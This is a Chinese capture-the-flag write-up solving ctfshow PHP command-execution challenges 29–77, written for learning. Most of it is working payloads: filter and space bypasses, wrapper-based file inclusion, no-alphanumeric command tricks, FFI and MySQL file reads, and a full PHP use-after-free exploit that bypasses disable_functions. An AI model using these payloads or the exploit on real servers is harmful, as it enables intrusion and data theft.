hackerphpctfshow_命令执行
CH0icoweb 29
通配符绕过
题目
1 2 3
| $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ eval($c);
|
preg_match :匹配正则表达式 模式分隔符后的”i”标记这是一个大小写不敏感的搜索 模式中的\b标记一个单词边界,所以只有独立的单词会被匹配,如:
1 2 3
| if (preg_match("/\\bweb\\b/i", "web")) :True
if (preg_match("/\\bweb\\b/i", "website")) :False
|
小技巧:如果仅仅想要检查某个字符串是否包含另外一个字符串,不要使用 preg_match() , 使用 strpos() 会更快。 payload: (这里利用tac命令 同时记得加分号; )
web 30
题目
1 2 3 4 5 6
| $c = $_GET['c']; if(!preg_match("/flag|system|php/i", $c)){ eval($c); ../?c=passthru('tac f*');
../?c=echo `tac fl''ag.p''hp`;
|
在这转载几种命令执行函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。 如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
exec : 执行一个外部程序,回显最后一行,需要用echo输出。
shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。 `(反引号):同 shell_exec()
|
web 31
1 2 3
| $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'/i", $c)){ eval($c);
|
payload:
1 2 3 4 5 6
| ../?c=passthru("tac%09f*");
../?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
../?c=include"$_GET[url]"?>&url=php:
|
空格过滤
1 2 3 4 5 6 7 8
| %09 符号需要php环境 {cat,flag.txt} cat${IFS}flag.txt cat$IFS$9flag.txt cat<flag.txt cat<>flag.txt kg=$'\\x20flag.txt'&&cat$kg (\\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
|
cat过滤
1 2 3 4 5 6 7 8 9 10 11 12
| more:一页一页的显示档案内容 less:与 more 类似。但在用 more 时候可能不能向上翻页,不能向上搜索指定字符串,而 less 却可以自由的向上向下翻页,也可以自由的向上向下搜索指定字符串。 head:查看头几行 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示 tail:查看尾几行 nl:命令的作用和 cat -n 类似,是将文件内容全部显示在屏幕上,并且是从第一行开始显示,同时会自动打印出行号。 od:以二进制的方式读取档案内容 vi:一种编辑器,这个也可以查看 vim:一种编辑器,这个也可以查看 sort:可以查看 uniq:可以查看 file -f:报错出具体内容。可以利用报错将文件内容带出来(-f<名称文件> 指定名称文件,其内容有一个或多个文件名称时,让file依序辨识这些文件,格式为每列一个文件名称。)
|
web 32
题目
1 2 3
| $c = $_GET['c']; if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(/i", $c)){ eval($c);
|
禁止了括号 利用伪协议
exp
1
| ?c=include"$_GET[url]"?>&url=php:
|
web 33
题目
1 2
| if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\"/i", $c)){ eval($c);
|
跟32一样 但是禁了单双引号 (直接不要吧!
exp
1
| ?c=include$_GET[url]?>&url=php:
|
web 34
同33
web 35
同上
题目
1 2
| if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\"|\\<|\\=/i", $c)){ eval($c);
|
exp
1
| /?c=include$_GET[url]?>&url=php:
|
web 36
题目 额外过滤了数字 还是一样
1 2
| if(!preg_match("/flag|system|php|cat|sort|shell|\\.| |\\'|\\`|echo|\\;|\\(|\\:|\\"|\\<|\\=|\\/|[0-9]/i", $c)){ eval($c);
|
exp
1
| /?c=include$_GET[url]?>&url=php:
|
web 37
题目
1 2 3 4
| $c = $_GET['c']; if(!preg_match("/flag/i", $c)){ include($c); echo $flag;
|
利用伪协议读flag
data://
可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行
exp + 检查注释
web 38
题目
1 2 3
| if(!preg_match("/flag|php|file/i", $c)){ include($c); echo $flag;
|
禁用了php
exp
web 39
题目
1 2
| if(!preg_match("/flag/i", $c)){ include($c.".php");
|
exp
web 40
题目
1 2
| if(!preg_match("/[0-9]|\\~|\\`|\\@|\\#|\\\\$|\\%|\\^|\\&|\\*|\\(|\\)|\\-|\\=|\\+|\\{|\\[|\\]|\\}|\\:|\\'|\\"|\\,|\\<|\\.|\\>|\\/|\\?|\\\\\\\\/i", $c)){ eval($c);
|
过滤了引号、美元符号、冒号,这里可以构造无参数函数进行文件读取,
注意正则中的括号不是英文的, 是过滤了中文的括号
读文件+数组改造
1 2 3 4 5 6
| localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.) pos():返回数组中的当前元素的值。 array_reverse():数组逆序 scandir():获取目录下的文件 next():函数将内部指针指向数组中的下一个元素,并输出。 首先通过 pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件, 所以scandir(pos(localeconv()))就能得到flag.php了。具体内容如下
|
exp
1 2 3
| /?c=print_r(next(array_reverse(scandir(pos(localeconv())))));
/?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
|
web 41
1 2 3 4 5
| if(isset($_POST['c'])){ $c = $_POST['c']; if(!preg_match('/[0-9]|[a-z]|\\^|\\+|\\~|\\$|\\[|\\]|\\{|\\}|\\&|\\-/i', $c)){ eval("echo($c);"); }
|
除了或运算符 都禁止了 |
参考day3
使用or.py生成payload
1 2 3 4 5
| PS F:\\python3.10\\payloads> python or.py
[+] your function:system [+] your command:cat f* ("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%00"|"%60%60%60%20%60%2a");
|
BP POST 不要分号
web 42
1 2
| $c=$_GET['c']; system($c." >/dev/null 2>&1");
|
可以将/dev/null看作”黑洞”. 它非常等价于一个只写文件. 所有写入它的内容都会永远丢失. 而尝试从它那儿读取内容则什么也读不到
exp
1
| /?c=a=ta;b=c;cc=$a$b;$cc fla*||ls
|
或者
1
| /?c=cat%20flag.php; 后查看源码部分...
|
web 43
1 2
| if(!preg_match("/\\;|cat/i", $c)){ system($c." >/dev/null 2>&1");
|
禁止了分号;和cat
我们要让命令回显,那么进行命令分隔即可 利用|| &&
web 44
同上 flag通配一下就行
web 45
空格绕过
1 2 3
| ${IFS} $IFS$9 /?c=tac${IFS}fla?.php||
|
web 46
1 2
| if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*/i", $c)){ system($c." >/dev/null 2>&1");
|
空格可用%09 (不属于数字)
web 47
同上(多过滤了more less 不影响%09
web 48
同上(多过滤了more|less|head|sort|tail|sed|cut|awk|strings|od|curl 不影响%09
web 49
+1
(什么一招鲜吃遍天
1 2 3
| /?c=tac%09fla?.php||
/?c=nl<fla?.php||
|
web 50
1 2
| if(!preg_match("/\\;|cat|flag| |[0-9]|\\\\$|\\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\\`|\\%|\\x09|\\x26/i", $c)){ system($c." >/dev/null 2>&1");
|
%09被禁了
使用<>代替空格
<>和?同时使用不回显 所以用\代替?
exp
web 51
tac ban
nl代替
web 52
<>被ban 但是${IFS}可用
1 2 3
| /?c=nl${IFS}fla?||
/?c=nl$IFS/fla%27%27g||
|
注意这里如果nl的是flag.php而不是flag, 会得到flag{flag_here}这个假flag
web 53
- /?c=ls
- flag.php index.php readflag
- /?c=nl${IFS}readfla?||
- 没反应?
- /?c=nl${IFS}fla?.php
$IFS符号如果是在当前目录读文件则中间要用’’来分隔一下
如果读其他路径下的如根目录 / 下的文件 则不用使用符分割
$IFS后边可以使用符号 但是不能直接跟字符 会显示无效命令
可构造playload:
web 54
1 2
| if(!preg_match("/\\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){ system($c);
|
grep test *file
在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行
grep ‘{‘ flag.php (在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行)
1 2 3
| /?c=grep${IFS}'{'${IFS}fl???php
/?c=uniq${IFS}????.???
|
或者读取
1
| /?c=/bin/?at${IFS}f???????
|
web 55
很有意思的题目
1 2
| if(!preg_match("/\\;|[a-z]|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){ system($c);
|
exp_1 数字
发现过滤条件中没有数字
想到base64和 通配匹配到/bin目录下的命令cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
/?c=/bin/base64 flag.php (这里不要用${IFS替换空格}
1
| /?c=/???/????64 ????.???
|
exp_2 bzip2
/usr/bin目录:
主要放置一些应用软件工具的必备执行档例如c++、g++、gcc、chdrv、diff、dig、du、eject、elm、free、gnome、 zip、htpasswd、kfm、ktop、last、less、locale、m4、make、man、mcopy、ncftp、 newaliases、nslookup passwd、quota、smb、wget等。
我们可以利用/usr/bin下的bzip2
先将flag.php文件进行压缩,然后再将其下载 /usr/bin/bzip2 flag.php
1
| ?c=/???/???/????2 ????.???
|
然后访问/flag.php.bz2即可
exp_3 无字母数字webshell
无字母数字webshell之提高篇 | 离别歌 (leavesongs.com)
1 2 3 4 5 6 7 8
| import requests
while True: url = "<http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/>???/????????[@-[]" r = requests.post(url, files={"file": ('flag.txt', b'cat flag.php')}) if r.text.find("flag") > 0: print(r.text) break
|
web 56
1 2
| if(!preg_match("/\\;|[a-z]|[0-9]|\\\\$|\\(|\\{|\\'|\\"|\\`|\\%|\\x09|\\x26|\\>|\\</i", $c)){ system($c);
|
把数字也ban了
那就只剩下(web55的EXP_3)
1 2 3 4 5 6 7 8
| import requests
while True: url = "<http://a88c904d-6cd4-4eba-b7e9-4c37e0cf3a7d.chall.ctf.show/?c=.+/>???/????????[@-[]" r = requests.post(url, files={"file": ('flag.txt', b'cat flag.php')}) if r.text.find("flag") > 0: print(r.text) break
|
web 57
1 2
| if(!preg_match("/\\;|[a-z]|[0-9]|\\`|\\|\\#|\\'|\\"|\\`|\\%|\\x09|\\x26|\\x0a|\\>|\\<|\\.|\\,|\\?|\\*|\\-|\\=|\\[/i", $c)){ system("cat ".$c.".php");
|
过滤了字母、数字、分号、2个通配符
exp_1 官方姿势(但是我没成功啊)
1 2
| ?c=grep${IFS}'fla'${IFS}fla??php ?c=grep${IFS}'{'${IFS}fla??php
|
exp_2 取反构造
1
| /?c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
|
web 58-65
1 2
| $c= $_POST['c']; eval($c);
|
直接用system也在php中被禁止了
exp
1
| c=show_source('flag.php');
|
或者
1
| c=show_source(next(array_reverse(scandir(pos(localeconv())))));
|
或者
1
| c=highlight_file('flag.php');
|
web 66
- show_source(‘’)函数禁用
- highlight_file(‘flag.php’);是假的flag 没有放在那里面
1 2
| c=print_r(scandir("/")); c=highlight_file('/flag.txt');
|
web 67
var_dump()代替print_r()
1 2
| c=var_dump()(scandir("/")); c=highlight_file('/flag.txt');
|
web 68
include()代替highlight_file()
1 2
| c=var_dump(scandir('/')); c=include('/flag.txt');
|
web 69-70
var_dump()函数被ban,那就用var_export()函数
1 2
| c=var_export(scandir('/')); c=include('/flag.txt');
|
web 71
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php error_reporting(0); ini_set('display_errors', 0);
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
|
返回包全是?????
原来是源码中用函数将缓冲区的所有字符全部替换为问号,
那么可以用exit()/die()提前结束,这样就不会将字符替换为问号
直接退出 payload:c=include(‘/flag.txt’);exit(0);
1 2
| c=var_export(scandir('/'));exit(); c=include("/flag.txt");die();
|
web 72
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php error_reporting(0); ini_set('display_errors', 0);
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); }
|
存在open_basedir(限制可访问的文件夹),利用 glob伪协议 在筛选目录时不受open_basedir制约
1 2 3 4 5
| c=$a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; } exit();
|
列出目录
BP URLencode POST
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200
| c=function ctfshow($cmd) { global $abc, $helper, $backtrace;
class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } }
class Helper { public $a, $b, $c, $d; }
function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; }
function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; }
function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } }
function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; }
function parse_elf($base) { $e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } }
if(!$data_addr || !$text_size || !$data_size) return false;
return [$data_addr, $text_size, $data_size]; }
function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue;
$leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue;
return $data_addr + $i * 8; } }
function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } }
function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; }
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; }
if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); }
$n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x'); $abc = $backtrace[1]['args'][0];
$helper = new Helper; $helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); }
$closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2); write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); }
if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); }
if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); }
if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); }
$fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); }
write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd); exit(); }
ctfshow("cat /flag0.txt");ob_end_flush();
|
web 73-74
- glob伪协议读取目录
1 2 3 4 5
| c=$a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0);
|
- flagc.txt
- include()读取
- 74麻烦一点c=include(‘/flagx.txt’);die();
web 75-76
- glob伪协议读取目录
1 2 3 4 5
| c=$a=new DirectoryIterator("glob:///*"); foreach($a as $f) {echo($f->__toString().' '); } exit(0);
|
- 读取不了
- 通过payload扫描 flag36.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| c= try { $dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root'); foreach ($dbh->query('select load_file("/flag36.txt")') as $row) { echo ($row[0]) . "|"; } $dbh = null; } catch (PDOException $e) { echo $e->getMessage(); exit(); } exit();
|
web 77
命令执行最后一题,php7.4,基本上命令执行就告一段落了
[刷题RCTF 2019]Nextphp - kar3a - 博客园 (cnblogs.com)
php7.4 >> FFI >> 如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。
意思就是其在不传入第二个参数时,可以直接调用php代码。所以我们在声明后,即可加入php代码
- 列目录
1 2 3 4 5
| c=$a=new DirectoryIterator('glob:///*'); foreach($a as $f){ echo($f->__toString()." "); }; exit();
|
- 读取 FFI调用system函数 重定向readflag的内容到myflag.txt之中就可以了
1 2 3 4 5
| c= $ffi=FFI :: cdef("int system(const char *command);"); $a='/readflag > myflag.txt'; $ffi->system($a); exit();
|
或者
1 2 3 4 5 6 7 8 9 10 11 12
| c= $a=new DirectoryIterator("glob:///*"); foreach($a as $f){ echo $f." " ; }
$ffi = FFI::cdef( "int system(const char *command);");
$ffi->system("/readflag > 1.txt");
exit();
|